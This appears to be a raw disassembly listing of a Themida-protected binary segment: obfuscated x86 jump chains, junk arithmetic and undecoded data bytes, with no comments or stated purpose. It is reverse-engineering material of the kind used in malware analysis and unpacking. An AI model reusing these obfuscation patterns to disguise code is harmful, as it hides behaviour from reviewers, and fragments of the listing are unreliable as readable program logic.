db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B062: ; CODE XREF: Themida_:0055EC1Fj
mov ebx, [esp]
jmp loc_557365
; ---------------------------------------------------------------------------
aIxps db '┴ЕPИЙ',27h,0
align 2
loc_55B072: ; CODE XREF: Themida_:00557ACDj
add edi, 4
jmp loc_55EA6A
; ---------------------------------------------------------------------------
dw 0F131h
dd 0FF7E06E9h, 243489FFh, 4D27C968h, 9AA9E975h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B08E: ; CODE XREF: Themida_:0055A6F8j
push 4D21h
mov [esp], ebx
mov ebx, 582D776Fh
push ebx
jmp loc_566436
; ---------------------------------------------------------------------------
db 1, 0EBh, 5Dh
dd 8B241C87h, 0DC2D2424h, 5176F76h, 7BEF76E9h, 0E92DD829h
dd 687BEF76h, 559Ch, 0BD242C89h, 6F9313F4h, 0F39EC581h
dd 0BF5707FCh, 75D83DCDh, 7396C781h, 0CF812307h, 47323F07h
dd 6C79CF81h, 5FE94EDDh, 48000097h, 9927BA0Dh, 7D120546h
dd 0F03547ACh, 161FA1Eh, 4FE958C2h, 87FFFFF1h, 515C240Ch
dd 516EFB9h, 0F181490Ah, 20D40A2h, 3277C981h, 0E9C12C37h
dd 67AE905h
db 2 dup(0)
word_55B122 dw 8B66h ; DATA XREF: Themida_:005529A0o
dd 0EC81240Ch, 4, 89241489h, 4BB53E2h, 1000000h, 0B9515BDAh
dd 4, 2EA1EA81h, 0CA290395h, 5774E9h
db 0
; ---------------------------------------------------------------------------
loc_55B14D: ; CODE XREF: Themida_:00567D71j
pop ebx
neg ecx
push eax
mov eax, 0AB01CFCh
shr eax, 7
shl eax, 8
not eax
jmp loc_561644
; ---------------------------------------------------------------------------
db 1
dd 46C005D8h, 670502CDh, 53451661h, 70A0BE56h, 0EED13EF4h
dd 3FE9D6F7h, 89FFFFABh, 4B9240Ch, 0F710DC78h, 0B0E981D9h
dd 4169400Ch, 562AE9h
db 0
; ---------------------------------------------------------------------------
loc_55B195: ; CODE XREF: Themida_:0055F5BCj
add edi, ebx
pop ebx
jmp loc_55DE91
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 0FCh
dd 68FFFFF0h, 5A4Fh, 0BE243489h, 1FF53E70h, 535EF001h
dd 7A12B9BBh, 0E9D80106h, 5B6Fh, 2C8BEF01h, 4C48324h, 0E6E9F729h
dd 81FFFF81h, 4ECh, 353BE900h, 0ED810000h, 3FC97C3Ah, 875DEF01h
dd 248B243Ch, 242C3324h, 33242C31h, 248B242Ch, 4E09E924h
dd 54BD0000h, 0C15A185Bh, 51E907E5h, 59FFFF8Ch, 5C241487h
dd 4C681h, 0BF570000h, 2, 7A46E9h, 34FF5B00h, 9C7EE924h
dd 1C310000h, 241C3324h, 0FFD82BE9h, 0E9CD89FFh, 0C5DAh
; ---------------------------------------------------------------------------
loc_55B238: ; CODE XREF: Themida_:0056172Aj
mov ecx, edx
pop edx
or edx, ecx
pop ecx
neg edx
xor edx, 0DEC7C12Ch
xor ebx, edx
pop edx
jmp loc_55F884
; ---------------------------------------------------------------------------
loc_55B24E: ; CODE XREF: Themida_:00561C1Ej
mov ebp, [esp]
add esp, 4
add esi, eax
pop eax
mov ecx, esi
push dword ptr [esp]
pop esi
add esp, 4
push 9A9h
mov [esp], edx
mov edx, 72174054h
add ecx, 264920D2h
add ecx, 107A4003h
add ecx, edx
sub ecx, 107A4003h
sub ecx, 264920D2h
pop edx
shl ecx, 2
neg ecx
xor ecx, 684F42B5h
jmp loc_563831
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4C28100h, 87000000h, 0F75C2414h, 88EE81D6h, 0E97DC13Ah
dd 0FFFFBA52h
; ---------------------------------------------------------------------------
loc_55B2B8: ; CODE XREF: Themida_:0055B91Bj
dec esi
sub esp, 4
mov [esp], edx
mov edx, 16D75BE9h
sub edx, 14CB13BFh
or edx, 17912485h
shr edx, 5
jmp loc_556760
; ---------------------------------------------------------------------------
aA0Ys db '╠ж─а$0оYИ}',0Bh,0
align 4
dd 83240489h, 0CCE904ECh, 89FFFF9Eh, 65BE2434h, 0E95C794Ah
dd 2EBEh
; ---------------------------------------------------------------------------
loc_55B300: ; CODE XREF: Themida_:0055C9D2j
push 5417D50h
pop edi
xor edi, 0C286B738h
jmp loc_55E6DF
; ---------------------------------------------------------------------------
aSSu db 'S╥)ИН;',0
db 0
; ---------------------------------------------------------------------------
loc_55B319: ; CODE XREF: Themida_:0055E2FDj
mov esi, [esp]
push ecx
mov ecx, esp
jmp loc_555E21
; ---------------------------------------------------------------------------
dd 9C2404FFh, 0FF788EE9h, 5DEF89FFh, 0E95FFA21h, 0FFFFAA09h
dd 5B666E04h, 8150E9h, 4C48300h, 5C242C87h, 0FFCC75E9h
dd 4EC81FFh, 89000000h, 72E9241Ch, 81FFFF92h, 0FFFFFFC6h
dd 2CF681FFh, 563EBB61h, 0FFB122E9h, 0F9F381FFh, 890DE8C1h
dd 241C8BD9h, 4C481h, 5B510000h, 83240C8Bh, 0D83104C4h
dd 5B2434FFh, 5FD268h, 242C8900h, 0B951E589h, 4, 5359CD01h
dd 3E2EE0BBh, 0B1E38103h, 0D1233F09h, 33E381E3h, 0F7734738h
dd 87E3E9DBh, 0C1810000h, 108209h, 8759C801h, 0C5E92404h
db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B3CB: ; CODE XREF: Themida_:00559C72j
add esi, eax
pop eax
add esi, 4
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_563656
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 26ED8100h, 148971Fh, 26C581DDh, 0E948971Fh, 0A6F3h
; ---------------------------------------------------------------------------
loc_55B400: ; CODE XREF: Themida_:00556777j
mov esi, [esp]
add esp, 4
and ebx, 46EA1CB4h
neg ebx
shl ebx, 6
sub ebx, 46AA342Fh
jmp loc_55513A
; ---------------------------------------------------------------------------
loc_55B41C: ; CODE XREF: Themida_:0055D72Ej
xchg esi, ebx
pop esi
jmp loc_55D4E5
; ---------------------------------------------------------------------------
dd 4BDh, 8BEE0100h, 94E9242Ch, 890000C6h, 4C381E3h, 51000000h
dd 4B9h, 59CB0100h, 0B17EE9h, 24048900h, 468h, 0C7815800h
dd 6B2535DBh, 2AB95156h, 8953E960h, 240C8BCEh, 2904C483h
dd 6EE95EF7h
db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B46F: ; CODE XREF: Themida_:00554AC2j
add esi, 4
xchg esi, [esp]
pop esp
push ecx
mov ecx, eax
mov edx, ecx
pop ecx
pop eax
jmp loc_557C00
; ---------------------------------------------------------------------------
loc_55B482: ; CODE XREF: Themida_:0055898Dj
add esp, 4
jmp loc_5625D7
; ---------------------------------------------------------------------------
loc_55B48A: ; CODE XREF: Themida_:005592B3j
mov [esp], edi
jmp loc_5619D8
; ---------------------------------------------------------------------------
dw 489h
dd 5E08924h, 4, 158CE9h
db 0
; ---------------------------------------------------------------------------
loc_55B4A1: ; CODE XREF: Themida_:00556237j
xor edi, esi
pop esi
add eax, edi
jmp loc_55B8B5
; ---------------------------------------------------------------------------
byte_55B4AB db 66h ; DATA XREF: Themida_:00552B00o
dd 5624048Bh, 8904EC83h, 4832424h, 348B0424h, 4C48324h
dd 4EC81h, 3C890000h, 0AC1BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B4CE: ; CODE XREF: Themida_:005660B2j
mov ebx, 5AD9011Eh
jmp loc_560F7D
; ---------------------------------------------------------------------------
loc_55B4D8: ; CODE XREF: Themida_:0055736Dj
xor eax, ebx
xor ebx, eax
xor eax, ebx
jmp loc_558E98
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 76E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B4EE: ; CODE XREF: Themida_:0055A6BFj
mov [esp], edi
push esp
pop edi
push edx
mov edx, esp
add edx, 4
jmp loc_55723B
; ---------------------------------------------------------------------------
db 0C0h, 0E6h, 6
dd 20EA6866h, 241C8966h, 0E9ECB652h, 0FFFFA16Eh
; ---------------------------------------------------------------------------
loc_55B514: ; CODE XREF: Themida_:00556EB4j
add esp, 4
push 2761h
jmp loc_5611F0
; ---------------------------------------------------------------------------
byte_55B521 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552968o
dd 0BB4BE9h
db 0
; ---------------------------------------------------------------------------
loc_55B529: ; CODE XREF: Themida_:0055C7C0j
push ebp
push edi
mov edi, 31142EE1h
dec edi
jmp loc_5639CB
; ---------------------------------------------------------------------------
dw 0F380h
dd 0F6CBFE9Ch, 35EBE9DBh, 0D6890000h, 8124148Bh, 4C4h
dd 0E9F10100h, 1975h, 5C243C87h, 4BF57h, 0E9530000h, 0FFFFEA27h
dd 6603E0C0h, 0E9000068h, 0FFFFB7C1h
dword_55B570 dd 0FF2434FFh, 0E9582434h, 0FFFFC641h, 0C2F9E957h
; DATA XREF: Themida_:00552A70o
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B582: ; CODE XREF: Themida_:0055945Ej
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55AC4D
; ---------------------------------------------------------------------------
loc_55B590: ; CODE XREF: Themida_:005594F4j
add esi, ecx
sub esi, 74DD3C31h
pop ecx
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], edx
push ebp
mov ebp, 1000h
push ebp
sub dword ptr [esp], 50FB5471h
mov edx, [esp]
sub esp, 4
mov [esp], esi
jmp loc_55496B
; ---------------------------------------------------------------------------
dd 31243433h, 34332434h, 0EC815C24h, 4, 81241489h, 4ECh
dd 24248900h, 4240481h, 8B000000h, 0C4812414h, 4, 99D1E9h
db 0
; ---------------------------------------------------------------------------
loc_55B5F9: ; CODE XREF: Themida_:0055CD15j
xchg eax, [esp]
pop esp
push 2155h
jmp loc_566E6B
; ---------------------------------------------------------------------------
loc_55B607: ; CODE XREF: Themida_:00556665j
push edx
mov edx, 726EF955h
jmp loc_562CD2
; ---------------------------------------------------------------------------
dw 0D2F7h
dd 0FFA8B1E9h, 5481B8FFh, 0D8F71982h, 0A01A770Dh, 3E0C11Ah
dd 50B63635h, 0E9C201F8h, 0FFFFBB0Dh, 72FBC181h, 7BE9AC33h
dd 89000052h, 0E9505AD0h, 0FFFF885Dh, 7F55C181h, 8DE943A4h
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B653: ; CODE XREF: Themida_:0055EC85j
xor ebx, eax
pop eax
and eax, ebx
mov ebx, [esp]
push edx
jmp loc_55AEB0
; ---------------------------------------------------------------------------
loc_55B661: ; CODE XREF: Themida_:0055514Ej
add ebx, 4
xchg ebx, [esp]
jmp loc_55B69D
; ---------------------------------------------------------------------------
loc_55B66F: ; CODE XREF: Themida_:00558195j
mov ebx, 2731537Bh
sub eax, ebx
pop ebx
shr eax, 5
jmp loc_554864
; ---------------------------------------------------------------------------
db 57h
dd 0FF8939E9h, 805866FFh, 0EB8043F6h, 0B5517Ah, 0F606EDC0h
dd 0E1F580DDh, 22D2E9h
db 0
; ---------------------------------------------------------------------------
loc_55B69D: ; CODE XREF: Themida_:0055B66Aj
pop esp
shl ecx, 2
shr ecx, 8
xor ecx, 77D48533h
add edi, ecx
pop ecx
push 53EAh
mov [esp], ebx
jmp loc_567320
; ---------------------------------------------------------------------------
dw 0BB53h
dd 0C4B7351h, 5C685552h, 5D49FC5Fh, 0F703E5C1h, 7F17E9DDh
dd 2C81FFFFh, 37023124h, 0C3815B71h, 71370231h, 0E9243C8Bh
dd 0B582h, 0E95B6004h, 0FFFFA3C6h
; ---------------------------------------------------------------------------
loc_55B6F0: ; CODE XREF: Themida_:005543F7j
mov ebp, 37E7D4Ah
dec ebp
xor ebp, 729B45F8h
not ebp
shr ebp, 8
and ebp, 591979D9h
add ebp, 484EFBFAh
add ebx, ebp
jmp loc_556BA6
; ---------------------------------------------------------------------------
loc_55B714: ; CODE XREF: Themida_:00562DE8j
sub eax, 4A674DEAh
add eax, esi
add eax, 4A674DEAh
push dword ptr [esp]
pop esi
jmp loc_557AC4
; ---------------------------------------------------------------------------
db 1, 0D7h, 0E9h
dd 0FFFFBD46h, 951ABF57h, 0F931086Ah, 0E9243C8Bh, 0D9h
dd 0BE56E789h, 59E22043h, 524BCE81h, 3CE90FF4h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B753: ; CODE XREF: Themida_:0055FE16j
pop ecx
jmp loc_563D4A
; ---------------------------------------------------------------------------
db 56h, 89h, 0E6h
dd 4C681h, 26680000h, 89000040h, 468243Ch, 5F000000h, 0CDE9FE29h
dd 890000A0h, 4C581E5h, 56000000h, 0FF80A7E9h, 4EC83FFh
dd 0B5240C89h, 68DDF674h, 3434h, 0E9241489h, 64E2h, 9E60F181h
dd 0C8312D67h, 46AFE9h, 24048900h, 405E089h, 83000000h
dd 48704E8h, 21F6E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B7BE: ; CODE XREF: Themida_:00565396j
pop eax
jmp loc_567687
; ---------------------------------------------------------------------------
dd 46EEBE56h, 0E6C1147Ah, 0EE814E06h, 0EDA242BAh, 505EF501h
dd 61ADB951h, 0E98162B7h, 0F3E4F31Bh, 0E959C889h, 0FFFFA2FFh
; ---------------------------------------------------------------------------
loc_55B7EC: ; CODE XREF: Themida_:0055C34Ej
push esp
pop edi
push edx
mov edx, 209F53D9h
push eax
mov eax, 13AB7F62h
sub edx, eax
mov eax, [esp]
add esp, 4
jmp loc_559CEB
; ---------------------------------------------------------------------------
loc_55B80A: ; CODE XREF: Themida_:005644F4j
sub eax, 341873B4h
add eax, 6FDA1ACAh
jmp loc_55E8FC
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0EEE9C889h, 81FFFF76h, 3D2A0EC2h, 2C2811Fh, 0E90AD62Ah
dd 0BA35h, 522768h, 75A3E900h
db 2 dup(0FFh)
word_55B83E dw 5968h ; DATA XREF: Themida_:00552A04o
dd 89000034h, 5B54241Ch, 0BD78E9h, 0B4BBA00h, 0D0893970h
dd 3541255Ah, 0C30D0CBEh, 4842BB26h, 0F37DDA0Dh, 7836E91Fh
dd 0FF66FFFFh, 0E99C240Ch, 0FFFF7347h, 8E568h, 241C8900h
dd 0DE12E3BBh, 0EB814B33h, 31F9B85Ch, 2065E9h
db 0
; ---------------------------------------------------------------------------
loc_55B88D: ; CODE XREF: Themida_:0055324Aj
push ebx
mov ebx, 448E21E5h
shl ebx, 6
jmp loc_566971
; ---------------------------------------------------------------------------
aI_1 db '©}IЙ',0
dd 895FFA29h, 957CE9D7h, 1C8B0000h, 4C48324h, 6769E9h
db 0
; ---------------------------------------------------------------------------
loc_55B8B5: ; CODE XREF: Themida_:0055B4A6j
pop edi
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
mov esp, [esp]
xchg eax, [esp]
pop esp
mov [esp], ecx
jmp loc_552BBB
; ---------------------------------------------------------------------------
db 89h, 0F5h, 0FFh
dd 0E95E2434h, 0FFFFDC23h, 4C48358h, 2805E9h
db 0
; ---------------------------------------------------------------------------
loc_55B8E5: ; CODE XREF: Themida_:0056618Dj
push ebx
mov ebx, 16856313h
add ebx, 5838D5A4h
mov ecx, ebx
pop ebx
xor ecx, 59515C40h
sub ecx, 617E62A0h
xchg esi, ecx
neg esi
xchg esi, ecx
push 613Fh
mov [esp], edi
jmp loc_566F37
; ---------------------------------------------------------------------------
loc_55B913: ; CODE XREF: Themida_:00553A3Bj
and esi, 68977ABFh
not esi
jmp loc_55B2B8
; ---------------------------------------------------------------------------
dd 62E9D801h, 5CFFFFB0h, 562DEB81h, 0B9511857h, 0FF10393h
dd 0C25E181h, 36E95DE8h, 870000ACh, 248B240Ch, 0ADE95224h
dd 83000034h, 8B042404h, 8957240Ch, 4C781E7h, 81000000h
dd 4C7h, 243C8700h, 0BE3BE95Ch, 0EC810000h, 4, 0B8240489h
dd 4, 8158C501h, 4ECh, 241C8900h, 579F68h, 243C8900h, 4D1BE9h
dd 4BA00h, 8DE90000h
db 71h, 2 dup(0)
byte_55B99B db 0FFh ; DATA XREF: Themida_:00552984o
dd 0C8B2434h, 0E9545524h, 68BBh, 4D91ED81h, 0C5817682h
dd 0AADBAF77h, 0E95DEA01h, 0AF53h, 582414F7h, 21F78197h
dd 1ECFC59h, 0D8015FFBh, 2E8835Bh, 0E9240433h, 3234h, 6824048Bh
dd 30Bh, 54243C89h, 97DDE95Fh, 0D1B9FFFFh, 0E97ABA04h
dd 0B16Eh, 3D21BB53h, 0DD093F74h, 83241C8Bh, 0EC8104C4h
dd 4, 0BE243489h, 585D2ECFh, 0F702EEC1h, 0A3E681D6h, 0C1448440h
dd 0C68104E6h, 780B8007h, 575EF501h, 216E55BFh, 0B998E923h
dd 8966FFFFh, 8956240Ch, 4C681E6h, 83000000h, 0FAE904EEh
dd 8B000015h, 8953241Ch, 4C381E3h, 81000000h, 4C3h, 0EEEE900h
dd 34FF0000h, 240C8B24h, 9507E9h, 2E2B0D00h, 7DE97025h
dd 5C000072h, 3DB8505Fh, 313CCC85h, 568AE9C1h, 8B660000h
dd 0EC812404h, 4, 0E9240489h, 44CCh
; ---------------------------------------------------------------------------
loc_55BA94: ; CODE XREF: Themida_:00557319j
mov ebp, esp
push esi
jmp loc_567301
; ---------------------------------------------------------------------------
dd 4C581h, 0C5810000h, 2, 0E9242C87h, 77AEh
; ---------------------------------------------------------------------------
loc_55BAB0: ; CODE XREF: Themida_:0055E123j
mov [esp], ebx
push eax
mov ah, 0DCh
shl ah, 2
shr ah, 3
push ebx
mov bh, 0FBh
sub esp, 4
mov [esp], edx
mov dl, 0C8h
push cx
mov ch, dl
not ch
jmp loc_56451E
; ---------------------------------------------------------------------------
db 5, 0B5h, 55h
dd 0F2E93809h
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BADF: ; CODE XREF: Themida_:0055FEC3j
pop edi
push edx
mov edx, 7E6C4C0Fh
jmp loc_5603F2
; ---------------------------------------------------------------------------
db 2Dh
dd 6F445397h, 9705D029h, 566F4453h, 0D408A3BEh, 14A7E918h
dd 0E5C10000h, 0E8F58107h, 0E92FA751h, 0B0F5h
; ---------------------------------------------------------------------------
loc_55BB10: ; CODE XREF: Themida_:00565872j
push edi
mov edi, 4
sub esi, edi
pop edi
jmp loc_5573A1
; ---------------------------------------------------------------------------
word_55BB1E dw 34FFh ; DATA XREF: Themida_:00552A30o
dd 24048B24h, 0AC52E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BB2A: ; CODE XREF: Themida_:00554B30j
mov esi, ebp
pop ebp
mov eax, [esp]
add esp, 4
add esi, 0CCC6DEA9h
sub ebp, 74A13BDFh
jmp loc_553384
; ---------------------------------------------------------------------------
dd 0FFFFC181h, 9E9FFFFh
db 3, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BB4F: ; CODE XREF: Themida_:00554D9Dj
push eax
push edx
mov dh, bh
mov ah, dh
jmp loc_55CA25
; ---------------------------------------------------------------------------
loc_55BB5A: ; CODE XREF: Themida_:0056740Dj
pop esp
add ebp, 4
jmp loc_553727
; ---------------------------------------------------------------------------
dw 3C89h
dd 4BF24h, 89550000h, 72F2E9FDh, 3C89FFFFh, 4EBA5224h
dd 0BF143A15h, 0EBC5EAB4h, 0E95AD701h, 0B993h
; ---------------------------------------------------------------------------
loc_55BB8C: ; CODE XREF: Themida_:005629FDj
xchg edi, [esp]
pop esp
mov cl, dl
jmp loc_565190
; ---------------------------------------------------------------------------
db 5Ah
dd 4EC81h, 34890000h, 1A93BE24h, 4FE9702Dh, 93h, 0D9C380C3h
dd 0E971B050h, 0FFFF9E5Bh, 0E9E28952h, 8D97h
; ---------------------------------------------------------------------------
loc_55BBC0: ; CODE XREF: Themida_:0055946Bj
add bl, 51h
and dl, bl
mov ebx, [esp]
add esp, 4
push eax
jmp loc_567123
; ---------------------------------------------------------------------------
dd 4EC81h, 4890000h, 956EE924h, 0C3810000h, 199F38E4h
dd 7A2BC381h, 4CE9D935h
db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BBF3: ; CODE XREF: Themida_:00553A63j
add esp, 4
xchg ecx, [esp]
jmp loc_560D08
; ---------------------------------------------------------------------------
db 5Eh, 52h, 0BAh
dd 4, 148BD501h, 6F38E924h, 0A4E90000h
db 6Fh, 2 dup(0FFh)
byte_55BC17 db 0FFh ; DATA XREF: Themida_:00552B04o
dd 9CE92C77h, 81FFFF6Fh, 0A41E93C5h, 79F1E91Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BC2A: ; CODE XREF: Themida_:00557434j
mov [esp], ecx
push eax
jmp loc_55C41E
; ---------------------------------------------------------------------------
db 83h
dd 0AF6804C4h, 89000034h, 0E589242Ch, 4C581h, 0ED810000h
dd 4, 31242C33h, 2C33242Ch, 3C895C24h, 835F5024h, 348904ECh
dd 4EC8324h, 89240C89h, 309AE9E1h, 0D9B10000h, 8012EB80h
dd 0CB2819EBh, 8019C380h, 8B6612C3h, 0C483240Ch, 0FF21E902h
dd 5E5FFFFFh, 815BD901h, 0F52263C1h, 81F90147h, 0F52263E9h
dd 0FAE98147h, 0E9695914h, 0ABDAh, 0C181E189h, 4, 0FF9FF4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BCB5: ; CODE XREF: Themida_:00558DAAj
inc ebx
push edx
mov edx, 0FFFFFFFFh
jmp loc_554025
; ---------------------------------------------------------------------------
db 2Dh, 93h, 1
dd 0C7018D1Fh, 8124048Bh, 4C4h, 0B33DE900h, 685FFFFFh
dd 530Ah, 56243C89h, 0B1311268h, 24348B5Ch, 0C104C483h
dd 0FCE908EEh, 0BE00003Fh, 4, 3066E9h, 24048100h, 4, 0E924148Bh
dd 0FFFF6FB5h, 0D8277235h, 0C82E929h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BD16: ; CODE XREF: Themida_:0055F58Cj
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push 1221h
jmp loc_5566F1
; ---------------------------------------------------------------------------
byte_55BD49 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005529B0o
dd 4EC8324h, 89241489h, 5BB53E2h, 0F7677A51h, 0AEB81D3h
dd 8137255Fh, 736B93F3h, 67F38116h, 1771324h, 0D7E95BDAh
dd 68000084h, 57FEh, 68241C89h, 4, 245C015Bh, 241C8B04h
dd 4C481h, 34FF0000h, 0C4815A24h, 4, 6666E957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BDA2: ; CODE XREF: Themida_:00563444j
pop edi
jmp loc_557F5D
; ---------------------------------------------------------------------------
loc_55BDA8: ; CODE XREF: Themida_:00564C99j
add esp, 4
mov esi, 0F083CB5Dh
add esi, edx
pop edx
push eax
mov eax, esi
push eax
pop edx
mov eax, [esp]
jmp loc_563826
; ---------------------------------------------------------------------------
loc_55BDC3: ; CODE XREF: Themida_:0055FFC7j
push ebx
push ebp
mov ebp, 149F19C7h
and ebp, 6B936440h
sub ebp, 1
sub ebp, 0A1DAE58Ah
jmp loc_56678C
; ---------------------------------------------------------------------------
loc_55BDDE: ; CODE XREF: Themida_:0055499Aj
dec esi
jmp loc_55716D
; ---------------------------------------------------------------------------
dd 0BD55E801h, 11D35D56h, 47E1C581h, 0E5C17FDEh, 3ED8102h
dd 56115B26h, 5410E9h, 240C8900h, 0C181E189h, 4, 46850h
dd 1580000h, 0AA53E9C1h
db 2 dup(0)
word_55BE1A dw 478Fh ; DATA XREF: Themida_:00552B30o
dd 6D99E940h, 0FBBDFFFFh, 81341408h, 4ECh, 240C8900h, 413EE9h
db 0
; ---------------------------------------------------------------------------
loc_55BE35: ; CODE XREF: Themida_:005653A3j
mov edi, 44E72EA4h
sub edi, 2E3E765h
add edx, edi
jmp loc_55C4C1
; ---------------------------------------------------------------------------
aS_9 db 'яЙИ',0Ah
db ']',0
align 2
loc_55BE4E: ; CODE XREF: Themida_:0055469Ej
mov dl, ch
mov ecx, [esp]
jmp loc_55F182
; ---------------------------------------------------------------------------
dd 0D0B1C181h, 0CF891141h, 0FF7605E9h, 0B5C780FFh, 2810F780h
dd 2434FFFEh, 83241C8Bh, 0C48304C4h, 2EC8104h, 66000000h
dd 0B4240489h, 0A542E9FAh
db 2 dup(0)
word_55BE8A dw 8F64h ; DATA XREF: Themida_:00552AA0o
dd 6D29E902h, 1433FFFFh, 9FE95C24h, 4A000000h, 2CEBF281h
dd 0D2F7464Eh, 0B261E9h
db 0
; ---------------------------------------------------------------------------
loc_55BEA9: ; CODE XREF: Themida_:005584BBj
pop dx
sub cl, 4Bh
shr cl, 6
jmp loc_556062
; ---------------------------------------------------------------------------
dw 0FB01h
dd 0ABE9525Fh, 83FFFFE7h, 0C8B04C4h, 4C48124h, 0E9000000h
dd 0FFFF6CEBh, 0E9242C89h, 76FEh, 0EC81505Bh, 4, 0BD242C89h
dd 7DBD1953h, 0BD1955B8h, 85B0E97Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BEF2: ; CODE XREF: Themida_:0055C6C6j
mov bl, 0BFh
sub dl, bl
pop ebx
and dl, 66h
shl dl, 6
jmp loc_553391
; ---------------------------------------------------------------------------
loc_55BF02: ; CODE XREF: Themida_:005558B4j
pop ebx
loc_55BF03: ; CODE XREF: Themida_:loc_55E22Cj
push 6764h
mov [esp], ebx
jmp loc_562827
; ---------------------------------------------------------------------------
dd 0FD89F789h, 0E92434FFh, 4640h
; ---------------------------------------------------------------------------
loc_55BF1C: ; CODE XREF: Themida_:00565E95j
mov [esp], esi
mov esi, 4
jmp loc_55C15F
; ---------------------------------------------------------------------------
db 5Bh, 80h, 0C2h
dd 8E3BE9FAh, 0C6800000h, 0D7EBE901h, 3487FFFFh, 0A59BE924h
dd 0C209FFFFh, 0C5F28158h, 681FE812h, 4843h, 0FFEC1CE9h
dd 20F181FFh, 51513C2Eh, 5A355958h, 0C11B6D25h, 33508E8h
dd 81006BF4h, 0C54652EDh, 81C50103h, 0C54652C5h, 2C335803h
dd 242C3124h, 0E9242C33h, 0FFFF766Ah, 0C181E189h, 4, 8704C183h
dd 535C240Ch, 0F7242C87h, 242C87D5h, 5853505Bh, 0C7B9515Bh
dd 10BB170h, 484059C8h, 2414F750h, 0FFFF2D58h, 6D05FFFFh
dd 0E9A5D451h, 4225h, 9BD555Bh, 0C150B635h, 0E5C105EDh
dd 0B5E94D04h
db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BFD7: ; CODE XREF: Themida_:0055D8DBj
mov ebp, [esp]
push ebp
jmp loc_55D23D
; ---------------------------------------------------------------------------
loc_55BFE0: ; CODE XREF: Themida_:00564E01j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_561BF2
; ---------------------------------------------------------------------------
db 0BAh, 33h, 54h
dd 50E955FEh, 6800004Fh, 4, 8124148Bh, 4C4h, 0F1EF8100h
dd 81502B41h, 0DC3A4AC7h, 81D7014Bh, 0DC3A4AEFh, 6EBD554Bh
dd 0F7165F7Eh, 0D4C581D5h, 813FBF3Eh, 748194F5h, 0E9EF0179h
dd 0FFFF8F70h
; ---------------------------------------------------------------------------
loc_55C034: ; CODE XREF: Themida_:0055D76Aj
dec edx
push esi
jmp loc_567008
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 240C8900h, 8904EC83h, 0C8B2414h, 21E95224h
db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C053: ; CODE XREF: Themida_:0056220Fj
not edi
jmp loc_557C40
; ---------------------------------------------------------------------------
loc_55C05A: ; CODE XREF: Themida_:005542B9j
pop edx
shl ecx, 1
push edx
mov edx, 4A546E94h
xor ecx, edx
pop edx
dec ecx
neg ecx
xor ecx, 0BB2A6496h
add eax, ecx
pop ecx
dec eax
not eax
shr eax, 2
xor eax, 47D12D11h
sub eax, 0ECD0CDF9h
add ebx, eax
pop eax
shl ebx, 3
add ebx, 1
jmp loc_5554D3
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4C28300h, 572DE9h, 240C8900h, 525181B5h, 53DEB551h
dd 0FA88EF88h, 0B028E95Bh, 5743FFFFh, 414CE9h, 21C86800h
dd 2C890000h, 32C8BD24h, 0C5836EA4h, 7EC58101h, 0E981C1ABh
dd 0FFFF6EC2h, 81241C8Bh, 4C4h, 42816800h, 14890000h, 0D4B85024h
dd 51147B74h, 737B6FB9h, 69DBA60h, 0CA294BF8h, 83240C8Bh
dd 0C20104C4h, 8324048Bh, 1AE904C4h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C10F: ; CODE XREF: Themida_:00552DB5j
mov esi, 21F05FCh
xor esi, edi
mov edi, [esp]
add esp, 4
xor esi, 43207FFh
sub esi, 1
shl esi, 8
xor esi, 167C1456h
jmp loc_55E1D6
; ---------------------------------------------------------------------------
dw 0D7F7h
dd 0C283FA87h, 0E9D2F7FFh, 6CDBh, 98B29EB3h, 0C9E9DA30h
dd 53FFFFD0h, 491D28BBh, 0C1D3F704h, 0CDE905E3h
db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C15F: ; CODE XREF: Themida_:0055BF24j
push esi
add dword ptr [esp], 63BC790Ah
pop ebp
sub ebp, 63BC790Ah
push dword ptr [esp]
pop esi
jmp loc_55AF6E
; ---------------------------------------------------------------------------
loc_55C177: ; CODE XREF: Themida_:00564651j
add eax, 50EB0EE4h
jmp loc_55D913
; ---------------------------------------------------------------------------
